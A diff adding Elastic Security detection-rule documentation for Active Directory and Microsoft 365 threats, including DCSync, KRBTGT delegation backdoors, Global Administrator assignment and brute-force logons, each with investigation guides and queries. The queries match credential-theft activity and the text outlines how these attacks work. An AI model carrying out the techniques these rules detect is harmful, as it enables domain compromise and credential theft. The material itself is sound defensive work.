+* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md
+* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync
+* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Resources: Investigation Guide
+* Data Source: Windows Security Event Logs
+
+*Version*: 118
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating FirstTime Seen Account Performing DCSync*
+
+
+Active Directory replication is the process by which the changes that originate on one domain controller are automatically transferred to other domain controllers that store the same data.
+
+Active Directory data consists of objects that have properties, or attributes. Each object is an instance of an object class, and object classes and their respective attributes are defined in the Active Directory schema. Objects are defined by the values of their attributes, and changes to attribute values must be transferred from the domain controller on which they occur to every other domain controller that stores a replica of an affected object.
+
+Adversaries can use the DCSync technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller, compromising major credential material such as the Kerberos krbtgt keys that are used legitimately for creating tickets, but also for forging tickets by attackers. This attack requires some extended privileges to succeed (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), which are granted by default to members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups. Privileged accounts can be abused to grant controlled objects the right to DCsync/Replicate.
+
+More details can be found on https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing[Threat Hunter Playbook] and https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync[The Hacker Recipes].
+
+This rule monitors for when a Windows Event ID 4662 (Operation was performed on an Active Directory object) with the access mask 0x100 (Control Access) and properties that contain at least one of the following or their equivalent Schema-Id-GUID (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set) is seen in the environment for the first time in the last 15 days.
+
+
+*Possible investigation steps*
+
+
+- Identify the user account that performed the action and whether it should perform this kind of action.
+- Contact the account and system owners and confirm whether they are aware of this activity.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+- Correlate security events 4662 and 4624 (Logon Type 3) by their Logon ID (`winlog.logon.id`) on the Domain Controller (DC) that received the replication request. This will tell you where the AD replication request came from, and if it came from another DC or not.
+- Scope which credentials were compromised (for example, whether all accounts were replicated or specific ones).
+
+
+*False positive analysis*
+
+
+- Administrators may use custom accounts on Azure AD Connect; investigate if this is part of a new Azure AD account setup, and ensure it is properly secured. If the activity was expected and there is no other suspicious activity involving the host or user, the analyst can dismiss the alert.
+- Although replicating Active Directory (AD) data to non-Domain Controllers is not a common practice and is generally not recommended from a security perspective, some software vendors may require it for their products to function correctly. Investigate if this is part of a new product setup, and ensure it is properly secured. If the activity was expected and there is no other suspicious activity involving the host or user, the analyst can dismiss the alert.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+- If the entire domain or the `krbtgt` user was compromised:
+  - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user.
+- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Access' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Access (Success,Failure)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:"4662" and host.os.type:"windows" and 
+  winlog.event_data.Properties:(
+    *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or
+    *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or
+    *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and
+  not winlog.event_data.SubjectUserName:(*$ or MSOL_*)
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: OS Credential Dumping
+** ID: T1003
+** Reference URL: https://attack.mitre.org/techniques/T1003/
+* Sub-technique:
+** Name: DCSync
+** ID: T1003.006
+** Reference URL: https://attack.mitre.org/techniques/T1003/006/
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-krbtgt-delegation-backdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-krbtgt-delegation-backdoor.asciidoc
new file mode 100644
index 0000000000..b22bc55c06
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-krbtgt-delegation-backdoor.asciidoc
@@ -0,0 +1,145 @@
+[[prebuilt-rule-8-19-11-krbtgt-delegation-backdoor]]
+=== KRBTGT Delegation Backdoor
+
+Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://skyblue.team/posts/delegate-krbtgt
+* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 213
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating KRBTGT Delegation Backdoor*
+
+
+In Active Directory, the KRBTGT account is crucial for Kerberos ticket granting. Adversaries may exploit this by altering the msDS-AllowedToDelegateTo attribute, enabling unauthorized ticket requests and persistent domain access. The detection rule identifies such modifications by monitoring specific event actions and codes, flagging high-risk changes to the KRBTGT delegation settings.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific event code 4738 to identify the user account that was modified and verify if the msDS-AllowedToDelegateTo attribute includes the KRBTGT service.
+- Investigate the user account that performed the modification by checking their recent activities and login history to determine if the action was authorized or suspicious.
+- Examine the timeline of the modification event to correlate it with any other unusual activities or alerts in the network around the same time.
+- Check for any other modifications to sensitive attributes or accounts in Active Directory that might indicate a broader compromise.
+- Assess the potential impact on the domain by evaluating the access level and permissions of the modified account and any associated systems or services.
+- Consult with the IT security team to determine if there are any known maintenance activities or changes that could explain the modification, ensuring it was not a legitimate administrative action.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks involving legitimate changes to the msDS-AllowedToDelegateTo attribute for service accounts may trigger alerts. Review the context of the change and verify with the IT team if it aligns with scheduled maintenance or updates.
+- Automated scripts or tools used for Active Directory management might modify delegation settings as part of their operations. Identify these scripts and exclude their activity from triggering alerts by creating exceptions based on the script's signature or the account used.
+- Changes made by trusted third-party applications that require delegation for functionality can be mistaken for malicious activity. Document these applications and adjust the detection rule to exclude their known and expected behavior.
+- Regular audits or compliance checks that involve modifications to delegation settings should be accounted for. Coordinate with audit teams to schedule these activities and temporarily adjust monitoring rules to prevent false positives during these periods.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or ticket requests using the KRBTGT account.
+- Revert any unauthorized changes to the msDS-AllowedToDelegateTo attribute for the KRBTGT account by restoring it to its previous state using a known good backup or manually resetting the attribute.
+- Reset the KRBTGT account password twice to invalidate any existing Kerberos tickets that may have been issued using the compromised delegation settings.
+- Conduct a thorough review of recent changes to user accounts and delegation settings in Active Directory to identify any other potential unauthorized modifications.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise.
+- Implement enhanced monitoring for changes to critical accounts and attributes in Active Directory, focusing on the KRBTGT account and similar high-value targets.
+- Review and update access controls and delegation permissions to ensure that only authorized personnel have the ability to modify sensitive attributes like msDS-AllowedToDelegateTo.
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit User Account Management' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+Account Management >
+Audit User Account Management (Success,Failure)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where host.os.type == "windows" and event.code == "4738" and winlog.event_data.AllowedToDelegateTo : "*krbtgt*"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal or Forge Kerberos Tickets
+** ID: T1558
+** Reference URL: https://attack.mitre.org/techniques/T1558/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned.asciidoc
new file mode 100644
index 0000000000..ba784d6c9e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned.asciidoc
@@ -0,0 +1,125 @@
+[[prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned]]
+=== Microsoft 365 Global Administrator Role Assigned
+
+Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* logs-o365.audit-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator
+* https://learn.microsoft.com/en-us/purview/audit-log-activities
+* https://www.blackhat.com/us-24/briefings/schedule/#unoauthorized-a-technique-to-privilege-escalation-to-global-administrator-39231
+
+*Tags*: 
+
+* Domain: Cloud
+* Domain: SaaS
+* Domain: Identity
+* Data Source: Microsoft 365
+* Data Source: Microsoft 365 Audit Logs
+* Use Case: Identity and Access Audit
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and Analysis*
+
+
+
+*Investigating Microsoft 365 Global Administrator Role Assigned*
+
+
+The Microsoft 365 Global Administrator role grants comprehensive administrative access across Entra ID and services such as Microsoft 365 Defender, Exchange, SharePoint, and Skype for Business. Adversaries who compromise an account may assign this role to themselves or other users to ensure persistent and privileged access. This rule identifies successful assignments of this role by inspecting audit logs from Azure Active Directory (Entra ID) where the role display name matches "Administrator."
+
+
+*Possible investigation steps*
+
+
+- Review the `user.id` and `user.name` fields to determine who performed the role assignment. Assess whether this user normally has permissions to modify high-privilege roles.
+- Confirm the `event.action` is `"Add member to role."` and that the `Role_DisplayName.NewValue` is `"Global Administrator"` or a similarly privileged role.
+- Review the `user.target.id` and `user.target.name` fields to identify the user or service principal that received the role.
+- Inspect `o365.audit.ExtendedProperties.additionalDetails` for context on how the action was performed (e.g., via Admin Portal, Graph API).
+- Pivot to sign-in logs for the assigning account to check for recent anomalies such as logins from new geolocations, unrecognized devices, or suspicious IP ranges.
+- Investigate if the account assignment occurred outside of known change windows, during non-business hours, or by a user with no change history.
+- Correlate with other role assignments or directory changes to check for broader role abuse or privilege escalation campaigns.
+
+
+*False positive analysis*
+
+
+- Role assignments by IT administrators as part of routine maintenance or incident response may appear suspicious in environments without change tracking or ticket correlation.
+- PIM (Privileged Identity Management) activations may temporarily elevate accounts to Global Administrator and then revoke the role afterward.
+- Onboarding processes or internal audits may require temporary elevation to Global Administrator for legitimate users.
+- Automation tools and scripts may trigger this alert if misconfigured to assign Global Administrator privileges during provisioning or sync jobs.
+
+
+*Response and remediation*
+
+
+- If the assignment is unapproved or suspicious, immediately revoke the Global Administrator role from the assigned user or service principal.
+- Reset credentials and initiate containment steps for the assigning account, especially if compromise is suspected.
+- Enable or verify enforcement of MFA for both assigning and assigned accounts.
+- Review Azure AD activity logs for additional signs of privilege misuse or suspicious directory changes.
+- Notify the appropriate identity and security operations teams to investigate further and begin incident response procedures.
+- Limit the number of Global Administrator accounts and enforce role-based access control (RBAC) using least privilege principles.
+- Consider implementing conditional access policies to limit role assignment actions to specific networks, devices, or user groups.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:o365.audit
+    and event.code:"AzureActiveDirectory"
+    and event.action:"Add member to role."
+    and event.outcome: "success"
+    and o365.audit.ModifiedProperties.Role_DisplayName.NewValue: (
+        "Global Administrator" or "Company Administrator"
+    )
+    and o365.audit.AzureActiveDirectoryEventType: 1
+    and o365.audit.RecordType: 8
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Sub-technique:
+** Name: Additional Cloud Roles
+** ID: T1098.003
+** Reference URL: https://attack.mitre.org/techniques/T1098/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials.asciidoc
new file mode 100644
index 0000000000..bc6b756136
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials.asciidoc
@@ -0,0 +1,141 @@
+[[prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials]]
+=== Modification of the msPKIAccountCredentials
+
+Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming
+* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx
+* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Data Source: Active Directory
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 118
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Modification of the msPKIAccountCredentials*
+
+
+The msPKIAccountCredentials attribute in Active Directory stores encrypted credential data, including private keys and certificates. Adversaries may exploit this by altering the attribute to escalate privileges, potentially overwriting files. The detection rule identifies such modifications by monitoring specific directory service events, focusing on changes to this attribute, excluding actions by the system account, thus highlighting unauthorized access attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific event code 5136 to gather details about the modification event, including the timestamp and the user account involved.
+- Examine the winlog.event_data.SubjectUserSid field to identify the user who attempted the modification, ensuring it is not the system account (S-1-5-18).
+- Investigate the history and behavior of the identified user account to determine if there are any previous suspicious activities or anomalies.
+- Check for any recent changes or anomalies in the affected Active Directory User Object, focusing on the msPKIAccountCredentials attribute.
+- Assess the potential impact of the modification by identifying any files or systems that may have been affected by the altered credentials.
+- Correlate this event with other security alerts or logs to identify any patterns or coordinated activities that might indicate a broader attack.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks by IT personnel may trigger the rule. To manage this, create exceptions for specific user accounts or groups known to perform these tasks regularly.
+- Scheduled maintenance scripts or automated processes that modify Active Directory attributes could be mistaken for unauthorized changes. Identify these processes and exclude their associated user accounts or service accounts from the rule.
+- Software updates or installations that require changes to user credentials might cause false positives. Document these events and adjust the rule to ignore modifications during known update windows.
+- Legitimate changes made by third-party applications integrated with Active Directory can be flagged. Review and whitelist these applications by excluding their associated user accounts or service accounts.
+- Temporary changes during incident response or security audits may appear suspicious. Coordinate with security teams to ensure these activities are recognized and excluded from triggering alerts.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Revoke any potentially compromised certificates and private keys associated with the affected msPKIAccountCredentials attribute to prevent misuse.
+- Conduct a thorough review of recent changes in Active Directory, focusing on the msPKIAccountCredentials attribute, to identify any unauthorized modifications or access patterns.
+- Reset passwords and regenerate keys for any accounts or services that may have been affected to ensure that compromised credentials are no longer valid.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.
+- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activity or attempts to exploit similar vulnerabilities.
+- Review and update access controls and permissions in Active Directory to ensure that only authorized personnel have the ability to modify sensitive attributes like msPKIAccountCredentials.
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and
+  winlog.event_data.OperationType:"%%14674" and
+  not winlog.event_data.SubjectUserSid : "S-1-5-18"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Exploitation for Privilege Escalation
+** ID: T1068
+** Reference URL: https://attack.mitre.org/techniques/T1068/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent.asciidoc
new file mode 100644
index 0000000000..28efc330ba
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent.asciidoc
@@ -0,0 +1,131 @@
+[[prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent]]
+=== Multiple Elastic Defend Alerts by Agent
+
+This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 30m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/elastic/protections-artifacts/tree/main/yara/rules
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Multiple Elastic Defend Alerts by Agent*
+
+
+Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-endpoint.alerts-* metadata _id
+| eval target_time_window = DATE_TRUNC(24 hours, @timestamp)
+| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
+        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_code_distinct_count = count_distinct(event.code),
+        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
+        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
+        Esql.process_name_distinct_count = COUNT_DISTINCT(process.entity_id),
+        Esql.event_code_values = VALUES(event.code),
+        Esql.rule_name_values = VALUES(rule.name),
+        Esql.message_values = VALUES(message),
+        Esql.file_path_values = VALUES(file.path),
+        Esql.dll_path_values = VALUES(dll.path),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.process_parent_executable_values = VALUES(process.parent.executable),
+        Esql.process_command_line_values = VALUES(process.command_line),
+        Esql.process_hash_sha256_values = VALUES(process.hash.sha256),
+        Esql.file_hash_sha256_values = VALUES(file.hash.sha256),
+        Esql.dll_hash_sha256_values = VALUES(dll.hash.sha256) by agent.id
+| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)
+| keep agent.id,
+       Esql.alerts_count,
+       Esql.event_code_distinct_count,
+       Esql.rule_name_distinct_count,
+       Esql.message_values,
+       Esql.event_code_values,
+       Esql.rule_name_values,
+       Esql.process_executable_values,
+       Esql.process_parent_executable_values,
+       Esql.process_command_line_values,
+       Esql.file_path_values,
+       Esql.dll_path_values,
+       Esql.process_hash_sha256_values,
+       Esql.file_hash_sha256_values,
+       Esql.dll_hash_sha256_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success.asciidoc
new file mode 100644
index 0000000000..330c84bc69
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success.asciidoc
@@ -0,0 +1,155 @@
+[[prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success]]
+=== Multiple Logon Failure Followed by Logon Success
+
+Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Resources: Investigation Guide
+* Data Source: Windows Security Event Logs
+
+*Version*: 116
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Multiple Logon Failure Followed by Logon Success*
+
+
+Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here].
+
+This rule identifies potential password guessing/brute force activity from a single address, followed by a successful logon, indicating that an attacker potentially successfully compromised the account.
+
+> **Note**:
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+
+
+*Possible investigation steps*
+
+
+- Investigate the logon failure reason code and the targeted user name.
+  - Prioritize the investigation if the account is critical or has administrative privileges over the domain.
+- Investigate the source IP address of the failed Network Logon attempts.
+  - Identify whether these attempts are coming from the internet or are internal.
+- Investigate other alerts associated with the involved users and source host during the past 48 hours.
+- Identify the source and the target computer and their roles in the IT environment.
+- Check whether the involved credentials are used in automation or scheduled tasks.
+- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.
+- Examine the source host for derived artifacts that indicate compromise:
+  - Observe and collect information about the following activities in the alert source host:
+    - Attempts to contact external domains and addresses.
+      - Examine the DNS cache for suspicious or anomalous entries.
+        - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}}
+    - Examine the host services for suspicious or anomalous entries.
+      - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}}
